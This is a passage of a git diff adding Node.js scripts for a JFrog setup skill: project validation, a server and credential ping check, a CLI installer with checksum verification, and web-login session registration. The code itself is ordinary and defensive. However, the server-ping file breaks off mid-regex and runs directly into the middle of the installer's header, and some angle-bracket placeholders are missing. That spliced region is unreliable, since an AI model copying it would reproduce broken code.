+ const enumOk = list.code >= 200 && list.code < 300; + const candidatesWithNames = enumOk ? projectsWithNames(list.body) : []; + + // ---------- Resolve+validate branch: an input was passed ---------- + if (projectInput) { + let resolvedKey = projectInput; + if (enumOk) { + const resolved = resolveProject(candidatesWithNames, projectInput); + if (resolved?.tied) { + emit({ + check: "project", + status: "red", + detail: `input "${projectInput}" matches multiple projects; be more specific`, + candidates: resolved.tied, + ...capCandidatesForDisplay(candidatesWithNames), + }); + return { exitCode: 1 }; + } + if (resolved?.key) resolvedKey = resolved.key; + // No match against the enumeration — could still be a valid key the + // enumeration missed (paging, ACL), so let the existence probe below + // be the ultimate arbiter. + } + + // Encode as a single path segment (not just URI-escape) so an input like + // "../projects" can't change which endpoint gets hit. + const projectPath = `/access/api/v1/projects/${encodeURIComponent(resolvedKey)}`; + const probe = await rawGet(projectPath); + // A 2xx status alone isn't proof this is really the GetProject response — + // a captive portal or misrouted network can also answer 200. Require the + // expected shape (an object carrying the project's own key) too, the + // same guard jfrog-detect-catalog-runtime.mjs applies to its endpoint. + const looksLikeProject = + probe.body && + typeof probe.body === "object" && + (typeof probe.body.project_key === "string" || typeof probe.body.projectKey === "string"); + if (probe.code >= 200 && probe.code < 300 && looksLikeProject) { + emit({ check: "project", status: "green", detail: `project ${resolvedKey} exists and is accessible (HTTP ${probe.code})`, resolvedKey }); + return { exitCode: 0, resolvedKey }; + } + if (probe.code >= 200 && probe.code < 300 && !looksLikeProject) { + emit({ + check: "project", + status: "error", + detail: `got HTTP ${probe.code} from ${creds.baseUrl}${projectPath} but the response wasn't the expected project shape — this may not be the JPD's real endpoint (captive portal / proxy?)`, + }); + return { exitCode: 3 }; + } + if (probe.code >= 500 && probe.code < 600) { + // A 5xx means the backend itself is erroring, same as a connection + // failure from the caller's perspective — treat it as "red", not + // "error", matching jfrog-detect-catalog-runtime.mjs and + // jfrog-detect-server-ping.mjs's classification of the same code class. + emit({ check: "project", status: "red", detail: `${creds.baseUrl}${projectPath} returned HTTP ${probe.code} — the backend is erroring` }); + return { exitCode: 1 }; + } + if (probe.code === 404) { + const similarProjects = enumOk ? findSimilarProjects(candidatesWithNames, projectInput) : []; + emit({ + check: "project", + status: "red", + detail: `no project matches "${projectInput}" on this JPD — pick a different one`, + resolvedKey, + ...capCandidatesForDisplay(candidatesWithNames), + ...(similarProjects.length > 0 ? { similarProjects } : {}), + }); + return { exitCode: 1 }; + } + if (probe.code === 401) { + // Unlike 403, a 401 means the credentials themselves were rejected — + // this says nothing about whether the project exists. + emit({ + check: "project", + status: "error", + detail: `cannot verify project ${resolvedKey}: /access rejected the credentials in jf config (HTTP 401). Re-run \`jf config add --interactive\`.`, + }); + return { exitCode: 3 }; + } + if (probe.code === 403) { + // ACLs are per-project — not entitled to this one says nothing about + // any other, so carry candidatesWithNames the same as the 404 branch + // to let the caller re-offer the picker instead of dead-ending. + emit({ + check: "project", + status: "red", + detail: `project ${resolvedKey} exists but your user is not entitled to see it (HTTP 403) — pick a project you have access to, or contact your JFrog admin`, + ...capCandidatesForDisplay(candidatesWithNames), + }); + return { exitCode: 1 }; + } + if (probe.code === 0) { + // Red, not error — the 5xx branch above treats "the backend is + // erroring" as red precisely because it's indistinguishable from a + // connection failure from here, and + // jfrog-detect-catalog-runtime.mjs maps its own "000" to red too. + // Classifying the real thing as an error would make the same + // condition blocking in Step 6 and non-blocking in Step 7. + emit({ + check: "project", + status: "red", + detail: `could not reach ${creds.baseUrl}${projectPath} (connection failed)${NETWORK_UNREACHABLE_HINT}`, + ...capCandidatesForDisplay(candidatesWithNames), + }); + return { exitCode: 1 }; + } + emit({ check: "project", status: "error", detail: `project validation returned unexpected HTTP ${probe.code} for ${creds.baseUrl}${projectPath}` }); + return { exitCode: 3 }; + } + + // ---------- Ask branch: no input passed; return candidates ---------- + // Branches on `enumOk`, not `candidatesWithNames.length`, so a JPD with + // zero accessible projects (enumeration succeeded, list is empty) isn't + // misreported as "enumeration was not available". + if (enumOk) { + const shown = capCandidatesForDisplay(candidatesWithNames); + emit({ + check: "project", + status: "ask", + detail: candidatesWithNames.length > 0 + ? shown.candidatesTotal + ? `no project chosen — ask the user which project to use (showing ${shown.candidatesWithNames.length} of ${shown.candidatesTotal})` + : "no project chosen — ask the user which project to use" + : "no project chosen — ask the user which project to use (no projects are accessible on this JPD)", + ...(candidatesWithNames.length > 0 ? { candidates: shown.candidatesWithNames.map((p) => p.key), ...shown } : {}), + }); + } else { + emit({ check: "project", status: "ask", detail: "no project chosen — ask the user which project to use (project enumeration was not available)" }); + } + return { exitCode: 2 }; +} + +if (isMainModule(import.meta.url)) { + const result = await detectProject(process.argv[2], process.argv[3]); + process.exitCode = result.exitCode; +} diff --git a/skills/jfrog-init/scripts/jfrog-detect-server-ping.mjs b/skills/jfrog-init/scripts/jfrog-detect-server-ping.mjs new file mode 100755 index 0000000..c72d0db --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-detect-server-ping.mjs @@ -0,0 +1,154 @@ +#!/usr/bin/env node +// Two-part reachability + credentials check for the configured JFrog server. +// Idempotent, read-only, zero mutation. Emits one JSON line to stdout. +// +// Part A — reachability (anonymous): +// Pull from `jf c show --format=json` for the resolved server, then +// fetch /artifactory/api/system/ping with no auth. Confirms the URL +// stored in `jf config` actually resolves to a live Artifactory. HTTP +// 200/401/403 = up (the endpoint responded even without auth). 404 / +// connection failure / 5xx = red, and Part B is skipped. +// +// Part B — credentials (authenticated, via jf): +// `jf rt ping --server-id=`. The token stays inside jf's process — +// this script never reads, prints, or stores it. A pass means the token +// in `jf config` is valid, not expired, and authorized to hit +// Artifactory — the earliest possible signal of stale credentials. +// +// BOTH must pass for green. Part A green with Part B red distinguishes +// "URL wrong" from "token expired/invalid" — two distinct fixes. +// +// Usage: node jfrog-detect-server-ping.mjs [server-id] +// Exit 0 -> green (URL reachable AND jf rt ping succeeded) +// Exit 1 -> red (jf missing, no URL, fetch or jf rt ping failed) +// Exit 2 -> ask (multiple servers configured, no server-id resolvable — +// caller must prompt the user and re-invoke with the +// picked server-id). Servers are enumerated in +// `candidates` in the JSON detail. +// +// No corresponding fix script — per the skill's dependency-order rule, a +// failed ping is a stop-and-warn condition, not something auto-fixed. + +import { emit, isMainModule, urlForServer, normalizeJpdUrl, anonymousFetchStatus, NETWORK_UNREACHABLE_HINT, runJf } from "./lib/jf.mjs"; +import { resolveServerOrEmit } from "./jfrog-resolve-jf-server.mjs"; + +// Extract the first meaningful error line rather than dumping the whole jf +// output (which can include multi-line nginx HTML for cookie/proxy errors). +// `jf`'s own error text shouldn't contain a token, but the redaction below +// is defense in depth against a future jf version leaking one into stderr. +// Boundaries are explicit character-class lookarounds rather than `\b` — +// `\b` doesn't fire between two non-word characters (e.g. a space and a +// leading `-`/`_`, both valid base64url token chars), which would leave +// part of a token unredacted. +function extractErr(out) { + const lines = out.split("\n"); + const line = + lines.find((l) => l.includes("[Error]")) || + lines.find((l) => l.includes("[Warn]")) || + lines.find((l) => l.trim()) || + out; + return line + .replace(/\s+/g, " ") + .replace(/"/g, "'") + .replace(/\b(Bearer\s+)\S+/gi, "$1[redacted]") + .replace(/(? installed, updated, or already present and up to date, and +// `jf` resolves at >= the minimum version. +// Exit 1 -> every plan failed (or Windows, where Plan C can't run +// automatically). Falls back to printing a manual command. + +import { mkdirSync, writeFileSync, renameSync, chmodSync, readFileSync, appendFileSync, unlinkSync } from "node:fs"; +import { createHash } from "node:crypto"; +import { homedir } from "node:os"; +import { join } from "node:path"; +import { spawnSync, execFileSync } from "node:child_process"; +import { jfAvailable, invalidateJfAvailableCache, runJf, JF_BIN_DIR } from "./lib/jf.mjs"; +import { commandExists, prependToPathIfMissing, resolveBinaryDir } from "./lib/command.mjs"; +import { MIN_JF_VERSION, isOlderThan } from "./jfrog-detect-jf-cli.mjs"; + +const MANUAL_INSTALL_CMD = "npm install -g jfrog-cli-v2-jf"; +const PUBLIC_REGISTRY = "https://registry.npmjs.org/"; + +const INSTALL_DIR = JF_BIN_DIR; +const INSTALL_PATH = join(INSTALL_DIR, "jf"); +const RELEASE_BASE = "https://releases.jfrog.io/artifactory/jfrog-cli/v2-jf/[RELEASE]"; +const PATH_LINE = 'export PATH="$HOME/.jfrog/bin:$PATH"'; +const FISH_PATH_LINE = 'set -gx PATH "$HOME/.jfrog/bin" $PATH'; + +const log = (msg) => process.stderr.write(msg + "\n"); + +// Set by tryNpmInstall() on failure, read by the final "all methods +// failed" branch at the bottom of this file. Kept out of the routine +// progress log — see tryNpmInstall()'s own comment — since the raw npm +// error text/exit code (and the specific configured registry, which can +// be an org-internal hostname) is only actually useful to the user once +// Plan C has ALSO failed and there's a real problem to debug; printing it +// unconditionally makes an ultimately-successful install (npm failed, but +// Plan C quietly saved it) look like something went wrong. +let npmFailureDetail = ""; + +// ---------------- Plans A/B: npm ---------------- + +// Windows resolves `npm` to `npm.cmd`, which Node's spawnSync only finds +// via `shell: true` — a bare spawnSync("npm", ...) there fails with ENOENT +// even though npm is genuinely installed. Args here are all static +// strings (never user input), so shell:true carries no injection risk. +const NPM_SPAWN_OPTS = { shell: process.platform === "win32" }; + +function npmInstall(extraArgs = []) { + return spawnSync("npm", ["install", "-g", "jfrog-cli-v2-jf", ...extraArgs], { + stdio: ["ignore", "pipe", "pipe"], + timeout: 120_000, + encoding: "utf8", + ...NPM_SPAWN_OPTS, + }); +} + +function currentRegistry() { + const res = spawnSync("npm", ["config", "get", "registry"], { encoding: "utf8", timeout: 10_000, ...NPM_SPAWN_OPTS }); + return (res.stdout || "").trim(); +} + +// Shared by selfHealNpmPath() below and tryNpmInstall()'s Plan B retry +// guard, which needs this same directory to tell "npm's own install is +// shadowed by something earlier on PATH" apart from "npm served a stale +// version" — see the guard's comment. +function resolveNpmBinDir() { + let prefix; + try { + prefix = execFileSync("npm", ["config", "get", "prefix"], { encoding: "utf8", timeout: 10_000, ...NPM_SPAWN_OPTS }).trim(); + } catch { + return ""; + } + if (!prefix) return ""; + return process.platform === "win32" ? prefix : join(prefix, "bin"); +} + +// npm's global bin dir isn't always on the CURRENT process's PATH (custom +// prefix, some CI/sandbox images) even right after a genuinely successful +// `npm install -g`. Without this, that PATH gap gets misread as npm +// itself having failed — see tryNpmInstall() below. +function selfHealNpmPath() { + const binDir = resolveNpmBinDir(); + if (binDir) prependToPathIfMissing(binDir); +} + +function tryNpmInstall() { + if (!commandExists("npm")) { + npmFailureDetail = "npm not found"; + return false; + } + let result = npmInstall(); + if (result.status === 0) { + selfHealNpmPath(); + invalidateJfAvailableCache(); + } + // Gate the retry (and the final success check below) on + // currentJfIsUpToDate(), not just jfAvailable() — jfAvailable() alone + // only proves *some* jf resolves on PATH, not that it's the one npm + // just installed. A jf from Homebrew/a version manager sitting earlier + // on PATH (see the file-header trade-off note) would otherwise read as + // "installed" here even though it's still below MIN_JF_VERSION. + // + // But when npm itself reported success (result.status === 0) and the + // resolving jf is still stale, that has two distinct causes that need + // different handling: either npm's own global bin now holds a stale + // build (the configured registry served an old/pinned version — the + // retry below, and its Curation note, are accurate for this case), or + // npm's install is fine but something earlier on PATH is shadowing it + // (the file-header trade-off) — no registry retry fixes that, and + // retrying anyway would misreport "Install via failed" for + // a registry that never actually failed. Told apart by WHERE the + // currently-resolving jf lives, not by npm's exit code. + if (result.status === 0 && !currentJfIsUpToDate()) { + const npmBinDir = resolveNpmBinDir(); + const jfDir = resolveBinaryDir("jf"); + if (npmBinDir && jfDir && jfDir !== npmBinDir) { + npmFailureDetail = + `the \`jf\` resolving on PATH is at ${jfDir}, not npm's global bin (${npmBinDir}) — another jf install ` + + "earlier on PATH (Homebrew, a version manager, or Plan C) is shadowing it. Retrying against a different " + + "registry would not fix this; move npm's global bin ahead of it on PATH, or remove the other install."; + return false; + } + } + + if (result.status !== 0 || !currentJfIsUpToDate()) { + const registry = currentRegistry(); + if (registry && registry !== PUBLIC_REGISTRY) { + result = npmInstall([`--registry=${PUBLIC_REGISTRY}`]); + if (result.status === 0) { + selfHealNpmPath(); + invalidateJfAvailableCache(); + // On stdout, not just the stderr log above — this is the one line + // a caller relaying results to the user is most likely to surface, + // and installing outside the configured registry means this one + // package bypassed Artifactory/Curation, not something to report + // as a plain, uneventful success. + console.log( + `Note: installed jfrog-cli-v2-jf from the public npm registry (${PUBLIC_REGISTRY}) ` + + `because the configured registry (${registry}) failed — this install bypassed Artifactory/Curation.` + ); + } + } + } + if (result.status === 0 && currentJfIsUpToDate()) { + log("Installed JFrog CLI via npm."); + return true; + } + if (result.status === 0) { + // npm itself reported success, but the jf that resolves on PATH still + // isn't the up-to-date one afterward (selfHealNpmPath() couldn't + // find/fix the gap — e.g. a non-standard prefix — or a different jf + // earlier on PATH is shadowing the one npm just installed). Reporting + // this the same way as an actual npm failure below would print the + // nonsensical "npm install failed (exit code 0)" — npm didn't fail, + // what's on PATH afterward did. + npmFailureDetail = jfAvailable() + ? "npm install reported success, but the `jf` resolving on PATH is still below the minimum version afterward." + : "npm install reported success, but `jf` still isn't resolving on PATH afterward."; + return false; + } + // A timed-out spawnSync sets `result.error.code === "ETIMEDOUT"` and + // kills the child, but the child can still have written something to + // stderr before being killed (e.g. a stray npm warning unrelated to the + // real cause) — checking `result.stderr` first would report that noise + // as "why npm install failed" instead of the actual 120s timeout. The + // two execFileSync-based detectors already check `.code === "ETIMEDOUT"` + // first for the identical reason; this spawnSync path missed it. + const reason = + result.error && result.error.code === "ETIMEDOUT" + ? "timed out after 120s" + : (result.stderr || "").trim() || (result.error ? result.error.message : `exit code ${result.status}`); + npmFailureDetail = reason; + return false; +} + +// ---------------- Plan C: direct binary download ---------------- + +// tryDirectDownload()'s Windows branch already prints a platform-specific +// PowerShell command and returns non-success — the generic +// MANUAL_INSTALL_CMD fallback at the bottom of this file must NOT also +// print afterward in that case, or the user sees two conflicting install +// commands with the one that just failed (npm) printed last, reading as +// the recommended next step. This sentinel lets the caller tell "failed, +// nothing printed yet" apart from "failed, but already told the user what +// to run" without a boolean losing that distinction. +const PLATFORM_COMMAND_PRINTED = "platform-command-printed"; + +// The line the caller should `eval` in the *current* shell — must match +// whatever syntax that shell understands. Fish has no `export`, so an +// eval of PATH_LINE there is a silent no-op and `jf` stays unresolved for +// the rest of the process despite a successful install. +function evalPathLine() { + return (process.env.SHELL || "").includes("fish") ? FISH_PATH_LINE : PATH_LINE; +} + +// Idempotently appends the PATH line to the user's shell rc so future +// terminals see `jf` without the user editing anything themselves. +function persistOnPath() { + const shell = process.env.SHELL || ""; + const line = evalPathLine(); + let rcPath; + if (shell.includes("fish")) { + rcPath = join(homedir(), ".config", "fish", "config.fish"); + } else if (shell.includes("zsh")) { + rcPath = join(homedir(), ".zshrc"); + } else if (shell.includes("bash")) { + rcPath = join(homedir(), ".bashrc"); + } else { + rcPath = join(homedir(), ".profile"); + } + + let existing = ""; + try { + existing = readFileSync(rcPath, "utf8"); + } catch { + existing = ""; + } + if (existing.includes(line)) return; + + try { + mkdirSync(join(rcPath, ".."), { recursive: true }); + appendFileSync(rcPath, `\n# Added by JFrog CLI installer (/jfrog-init)\n${line}\n`); + log(`Added ~/.jfrog/bin to PATH in ${rcPath} — new terminals will see \`jf\` directly.`); + } catch (err) { + log(`Could not update ${rcPath} automatically (${err.message}); add this line yourself:\n ${line}`); + } +} + +// JFrog ships separate macOS binaries per arch: "mac-386" (a historical +// name, not the arch — this one is actually x64) for Intel, "mac-arm64" +// for Apple Silicon. There's no universal/fat binary to fall back on. +function pickArtifact() { + if (process.platform === "darwin") { + return process.arch === "arm64" ? "jfrog-cli-mac-arm64/jf" : "jfrog-cli-mac-386/jf"; + } + if (process.platform === "linux") { + switch (process.arch) { + case "x64": + return "jfrog-cli-linux-amd64/jf"; + case "arm64": + return "jfrog-cli-linux-arm64/jf"; + case "arm": + return "jfrog-cli-linux-arm/jf"; + case "ia32": + return "jfrog-cli-linux-386/jf"; + default: + return null; + } + } + return null; +} + +async function tryDirectDownload() { + if (process.platform === "win32") { + log("Windows detected — the direct-download fallback is not supported here."); + const winArtifactUrl = `${RELEASE_BASE}/jfrog-cli-windows-amd64/jf.exe`; + // Same fail-closed policy as the macOS/Linux path below: this printed + // command is never actually run by this process, so if Artifactory + // won't hand back a checksum to embed, refuse to print a command that + // would install an unverified binary rather than silently downgrading + // to one. + const expectedSha256 = await fetchChecksumHeader(winArtifactUrl); + if (!expectedSha256) { + log(`Could not obtain an expected checksum for ${winArtifactUrl} — refusing to install an unverified binary.`); + return false; + } + // User-owned path + user-scope PATH (setx, no /M) — same "no admin + // needed" contract as macOS/Linux above. Do NOT install to + // $env:SYSTEMROOT\system32: that requires an elevated prompt just to + // place an unverified download in a directory shared by every user + // and process on the machine, for no benefit over a per-user install. + // $env:Path is the PROCESS Path — machine and user scopes already + // concatenated. `setx PATH "...;$env:Path"` would write that combined + // value into the user-scope variable, duplicating every machine-level + // entry into it (and freezing them there, shadowing future machine + // PATH changes), plus setx silently truncates at 1024 characters — a + // real risk on a dev machine with a long PATH. Read/write the + // user-scope value only, via [Environment]::GetEnvironmentVariable / + // SetEnvironmentVariable, so this only ever prepends to what the user + // scope already had. + // PowerShell's `-ne` string comparison is case-insensitive by default, + // so the mixed-case hex Get-FileHash returns compares fine against the + // lowercase hex from the checksum header. + console.log(`Run in PowerShell: +New-Item -ItemType Directory -Force -Path "$env:USERPROFILE\\.jfrog\\bin" | Out-Null; iwr ${winArtifactUrl} -OutFile "$env:USERPROFILE\\.jfrog\\bin\\jf.exe"; if ((Get-FileHash "$env:USERPROFILE\\.jfrog\\bin\\jf.exe" -Algorithm SHA256).Hash -ne "${expectedSha256}") { Remove-Item "$env:USERPROFILE\\.jfrog\\bin\\jf.exe" -Force; Write-Error "Checksum mismatch - aborting install"; exit 1 }; $userPath = [Environment]::GetEnvironmentVariable('Path','User'); [Environment]::SetEnvironmentVariable('Path', "$env:USERPROFILE\\.jfrog\\bin;$userPath", 'User')`); + return PLATFORM_COMMAND_PRINTED; + } + + const artifact = pickArtifact(); + if (!artifact) { + log(`Unsupported OS/arch (${process.platform} / ${process.arch}) for direct download.`); + return false; + } + + const url = `${RELEASE_BASE}/${artifact}`; + mkdirSync(INSTALL_DIR, { recursive: true }); + + // Artifactory answers HEAD directly with an X-Checksum-Sha256 header + // (verified live); the actual GET below redirects to a CDN-backed cache + // for the bytes themselves, which does NOT carry that header. If the + // HEAD followed the same redirect automatically, `fetch()` would hand + // back the CDN's headers instead of Artifactory's, silently losing the + // checksum — so redirects are handled manually here, and the header is + // read off Artifactory's own response before it's followed. + // Issued concurrently with the GET below (independent round trips to + // the same URL) rather than awaited first, since the checksum is only + // needed after the download completes anyway. + async function fetchChecksumHeader(target) { + try { + const res = await fetch(target, { method: "HEAD", redirect: "manual", signal: AbortSignal.timeout(30_000) }); + return res.headers.get("x-checksum-sha256") || ""; + } catch { + return ""; + } + } + const headPromise = fetchChecksumHeader(url); + // Best-effort — if the HEAD fails, the GET below still gets a real + // download; it just won't be checksum-verified. + + let bytes; + try { + const res = await fetch(url, { signal: AbortSignal.timeout(120_000) }); + if (!res.ok) throw new Error(`HTTP ${res.status}`); + bytes = Buffer.from(await res.arrayBuffer()); + } catch (err) { + log(`Download failed (${err.message}).`); + return false; + } + + const expectedSha256 = await headPromise; + + if (!bytes.length) { + log("Downloaded file is empty."); + return false; + } + + // Comparing against the checksum Artifactory computed server-side (from + // the HEAD above) catches a truncated/corrupted transfer. It's not an + // independent signature (both come from the same Artifactory instance), + // so it can't prove the artifact itself is untampered; a real fix would + // need a separately-published signature, which releases.jfrog.io + // doesn't offer today. This deliberately doesn't pin a specific CLI + // version either: it tracks "latest" the same way JFrog's own installer + // scripts do, so pinning here would just mean maintaining a + // version/checksum matrix that drifts from upstream. + if (expectedSha256) { + const actualSha256 = createHash("sha256").update(bytes).digest("hex"); + if (actualSha256 !== expectedSha256) { + log(`Downloaded file's checksum doesn't match Artifactory's (expected ${expectedSha256}, got ${actualSha256}).`); + return false; + } + } else { + // fetchChecksumHeader() swallows its own errors and returns "" for + // anything from a timeout to a missing header. This is Plan C — npm + // (Plans A/B) is always tried first and is the one path JFrog's own + // docs describe — so failing closed here (rather than installing an + // unverified binary with just a log line, indistinguishable from a + // verified one to a caller that only checks the exit code) costs + // little: the caller still gets MANUAL_INSTALL_CMD to hand the user. + log(`Could not obtain an expected checksum for ${url} — refusing to install an unverified binary.`); + return false; + } + + // Rules out a JFrog-branded HTML error page silently written to disk: + // non-empty, and either an ELF or Mach-O binary. + const magic = bytes.subarray(0, 4).toString("hex"); + const validMagic = ["7f454c46", "cffaedfe", "cefaedfe", "feedface", "feedfacf", "cafebabe"]; + if (!validMagic.includes(magic)) { + log(`Downloaded file does not look like a binary (magic=${magic}).`); + return false; + } + + // Written inside INSTALL_DIR (not the OS tmpdir) so the final rename is + // guaranteed to land on the same filesystem — a cross-filesystem rename + // (e.g. tmpfs /tmp vs a separately-mounted $HOME) fails with EXDEV. + const tmp = join(INSTALL_DIR, `.jf.tmp.${process.pid}`); + // Wrapped because "wx" throws EEXIST rather than overwriting, and the + // name is only unique per PID: a run killed between the write and the + // rename (Ctrl-C, OOM, harness timeout) leaves the temp file behind, + // and the next run to reuse that PID hits it. Unhandled, that replaces + // the caller's "all install methods failed, here's the manual command" + // fallback with a raw stack trace, at the end of a flow that has + // already spent a while failing. EPERM/ENOSPC on the chmod/rename land + // here too. + try { + // "wx" refuses to follow/overwrite anything already at tmp (e.g. a + // pre-planted symlink) — same symlink-safe pattern as + // lib/project-cache.mjs's writeCachedProjectList(). + writeFileSync(tmp, bytes, { flag: "wx" }); + chmodSync(tmp, 0o755); + renameSync(tmp, INSTALL_PATH); + } catch (err) { + log(`Could not write ${INSTALL_PATH} (${err.message}).`); + // Best-effort cleanup so a failure here doesn't poison the next run + // with the very leftover that may have caused it. + try { + unlinkSync(tmp); + } catch { + // Never created, already renamed, or not ours to remove. + } + return false; + } + + // A checksum match only proves the bytes weren't corrupted in transit — + // it says nothing about whether this binary actually executes on the + // current OS/libc (e.g. a glibc/musl mismatch on Linux). Run it before + // reporting success so a broken binary surfaces here, not as a + // confusing "jf: command not found" later. + try { + execFileSync(INSTALL_PATH, ["--version"], { timeout: 10_000, stdio: "ignore" }); + } catch (err) { + log(`Downloaded binary does not run (${err.message}).`); + return false; + } + + log(`Installed JFrog CLI at ${INSTALL_PATH}.`); + persistOnPath(); + console.log(evalPathLine()); + return true; +} + +// ---------------- Main ---------------- + +// jfAvailable() alone only proves `jf` resolves on PATH — not that it +// satisfies this skill's minimum version (see MIN_JF_VERSION in +// jfrog-detect-jf-cli.mjs). This script is also the action behind +// jf-cli-update-prompt.md's "Update it now?" (jf present, but outdated) — +// without this version check, that path silently no-oped here instead of +// actually running an install. +function currentJfIsUpToDate() { + if (!jfAvailable()) return false; + try { + const version = runJf(["--version"]).trim().split("\n")[0] || ""; + return !isOlderThan(version, MIN_JF_VERSION); + } catch { + return false; + } +} + +// Sets process.exitCode rather than calling process.exit() — same reason +// every detector does: a forced exit can truncate a still-draining stdout +// write, and MANUAL_INSTALL_CMD below is the one thing a caller of this +// script actually needs on the failure path. +if (currentJfIsUpToDate()) { + log("JFrog CLI already installed and up to date."); + process.exitCode = 0; +} else if (tryNpmInstall()) { + process.exitCode = 0; +} else { + const directResult = await tryDirectDownload(); + if (directResult === true) { + process.exitCode = 0; + } else { + // Skip the generic fallback when a platform-specific command was + // already printed (Windows) — printing MANUAL_INSTALL_CMD too would + // show a second, conflicting install command, with the one that just + // failed (npm) last. + if (directResult !== PLATFORM_COMMAND_PRINTED) { + // Only now is npmFailureDetail (whatever tryNpmInstall() stashed — + // npm missing, a raw npm error, or a PATH-shadowing/stale-jf + // diagnostic — instead of logging it immediately) worth showing — + // Plan C has also failed, so there's a real problem to debug + // rather than an ultimately-successful install that merely took a + // detour through a registry retry or a direct download. + log( + npmFailureDetail + ? `All install methods failed (npm: ${npmFailureDetail}). Falling back to manual command.` + : "All install methods failed. Falling back to manual command." + ); + console.log(MANUAL_INSTALL_CMD); + } + process.exitCode = 1; + } +} diff --git a/skills/jfrog-init/scripts/jfrog-login-register-session.mjs b/skills/jfrog-init/scripts/jfrog-login-register-session.mjs new file mode 100644 index 0000000..b72508d --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-login-register-session.mjs @@ -0,0 +1,132 @@ +#!/usr/bin/env node +// jfrog-login-register-session.mjs — Verify a JFrog server and start a web login session +// +// Pings the server, generates a session UUID, and registers it with +// the Access API for browser-based authentication (bootstrap HTTP via +// `jf api --url`). +// +// Usage: +// node jfrog-login-register-session.mjs +// +// Arguments: +// platform-url — Full JFrog Platform URL (e.g. https://mycompany.jfrog.io) +// +// Output (stdout, one key=value per line): +// SESSION_UUID= +// VERIFY_CODE= +// +// Exit codes: +// 0 — Session registered successfully +// 1 — Missing arguments or prerequisites +// 2 — Server not reachable (ping failed) +// 3 — Session registration request failed + +import { execFileSync } from "node:child_process"; +import { randomUUID } from "node:crypto"; +import { jfApi, parseHttpStatus } from "./lib/jf-api.mjs"; +import { isMainModule } from "./lib/jf.mjs"; +import { SAFE_URL } from "./jfrog-login-save-credentials.mjs"; + +// Pins stdio so a failing/logging `jf` subprocess can't leak output to +// this script's own stderr (Node's execFileSync default is to echo the +// child's stderr live to the parent) — see lib/jf-api.mjs's jfApi() for +// the full rationale. Still captures both streams via the thrown error's +// .stdout/.stderr on failure. +function execFileOpts(timeoutMs) { + return { + encoding: "utf8", + timeout: timeoutMs, + shell: process.platform === "win32", + stdio: ["ignore", "pipe", "pipe"], + }; +} + +// `jf api` was added in JFrog CLI 2.100.0 and every request below depends +// on it. Checked explicitly: on an older CLI the ping fails with an +// unknown-command error that carries no HTTP status, which would +// otherwise be reported as an unreachable server and send the user +// looking at the network instead of the CLI. A single `jf api --help` +// probe also doubles as the "is jf even installed" check — its ENOENT +// case is indistinguishable from "jf missing" either way. Step 2 already +// gates on MIN_JF_VERSION = 2.106.0 (above the 2.100.0 that shipped `jf +// api`), so by the time this runs `jf api` is guaranteed present — this +// check exists for the rare case this script runs standalone, outside +// the normal Step 2 → Step 3 walk order. +function checkJfApiSupport() { + try { + execFileSync("jf", ["api", "--help"], execFileOpts(10_000)); + return { ok: true }; + } catch (err) { + if (err.code === "ENOENT") return { ok: false, reason: "missing" }; + let version = "version unknown"; + try { + version = execFileSync("jf", ["--version"], execFileOpts(10_000)).trim(); + } catch { + // Leave the "version unknown" default. + } + return { ok: false, reason: "outdated", version }; + } +} + +export function registerSession(platformUrlRaw) { + if (!platformUrlRaw) { + process.stderr.write("Usage: node jfrog-login-register-session.mjs \n"); + return 1; + } + const platformUrl = platformUrlRaw.replace(/\/+$/, ""); + if (!SAFE_URL.test(platformUrl)) { + process.stderr.write("ERROR: platform URL contains unexpected characters.\n"); + return 1; + } + + const support = checkJfApiSupport(); + if (!support.ok) { + if (support.reason === "missing") { + process.stderr.write("ERROR: jf is not installed\n"); + } else { + process.stderr.write(`ERROR: this jf (${support.version}) does not support 'jf api',\n`); + process.stderr.write("which this login flow requires (JFrog CLI 2.100.0 or later).\n"); + process.stderr.write("Upgrade the JFrog CLI, then retry.\n"); + } + return 1; + } + + // Verify server is reachable (unauthenticated ping) + const ping = jfApi(["--url", platformUrl, "/artifactory/api/system/ping"]); + if (!ping.ok) { + const code = parseHttpStatus(ping.stderr); + process.stderr.write(`ERROR: Server not reachable at ${platformUrl} (HTTP ${code})\n`); + return 2; + } + + const sessionUuid = randomUUID(); + const verifyCode = sessionUuid.slice(-4); + + // Register the session with the Access API + const register = jfApi([ + "--url", + platformUrl, + "-X", + "POST", + "-H", + "Content-Type: application/json", + "-d", + JSON.stringify({ session: sessionUuid }), + "/access/api/v2/authentication/jfrog_client_login/request", + ]); + if (!register.ok) { + const code = parseHttpStatus(register.stderr); + process.stderr.write(`ERROR: Session registration failed (HTTP ${code})\n`); + return 3; + } + + process.stdout.write(`SESSION_UUID=${sessionUuid}\n`); + process.stdout.write(`VERIFY_CODE=${verifyCode}\n`); + return 0; +} + +// Sets process.exitCode rather than calling process.exit() — a forced +// exit can truncate a still-draining stdout write if output is piped. +if (isMainModule(import.meta.url)) { + process.exitCode = registerSession(process.argv[2] || ""); +} diff --git a/skills/jfrog-init/scripts/jfrog-login-save-credentials.mjs b/skills/jfrog-init/scripts/jfrog-login-save-credentials.mjs new file mode 100644 index 0000000..7578a8d --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-login-save-credentials.mjs @@ -0,0 +1,186 @@ +#!/usr/bin/env node +// jfrog-login-save-credentials.mjs — Complete web login by retrieving token and saving credentials +// +// Retrieves the one-time access token from a completed web login session, +// derives a server ID, saves the configuration via jf config, and verifies. +// Bootstrap token exchange uses `jf api --url` (before any server exists in +// `jf config`); verification uses `jf api` with --server-id. +// +// Leaves the current default `jf` server unchanged. Subsequent calls should +// pass `--server-id=` explicitly. +// +// IMPORTANT: The token endpoint is one-time-use. If this script fails after +// consuming the token (e.g. jf config write blocked by sandbox), the session +// is burned and login must restart from register-session. +// +// Usage: +// node jfrog-login-save-credentials.mjs +// +// Arguments: +// platform-url — Full JFrog Platform URL (e.g. https://mycompany.jfrog.io) +// session-uuid — Session UUID from jfrog-login-register-session.mjs output +// +// Output (stdout): +// SERVER_ID= +// Followed by the Artifactory version JSON on success. +// +// Exit codes: +// 0 — Login succeeded, credentials saved and verified +// 1 — Missing arguments or prerequisites +// 2 — Token retrieval failed (user may not have completed browser login) +// 3 — Empty token in response +// 4 — jf config save or verification failed + +import { execFileSync } from "node:child_process"; +import { jfApi, parseHttpStatus } from "./lib/jf-api.mjs"; +import { + isMainModule, + jfConfigShow, + normalizeJpdUrl, + selfHealPath, + urlForServer, +} from "./lib/jf.mjs"; +import { 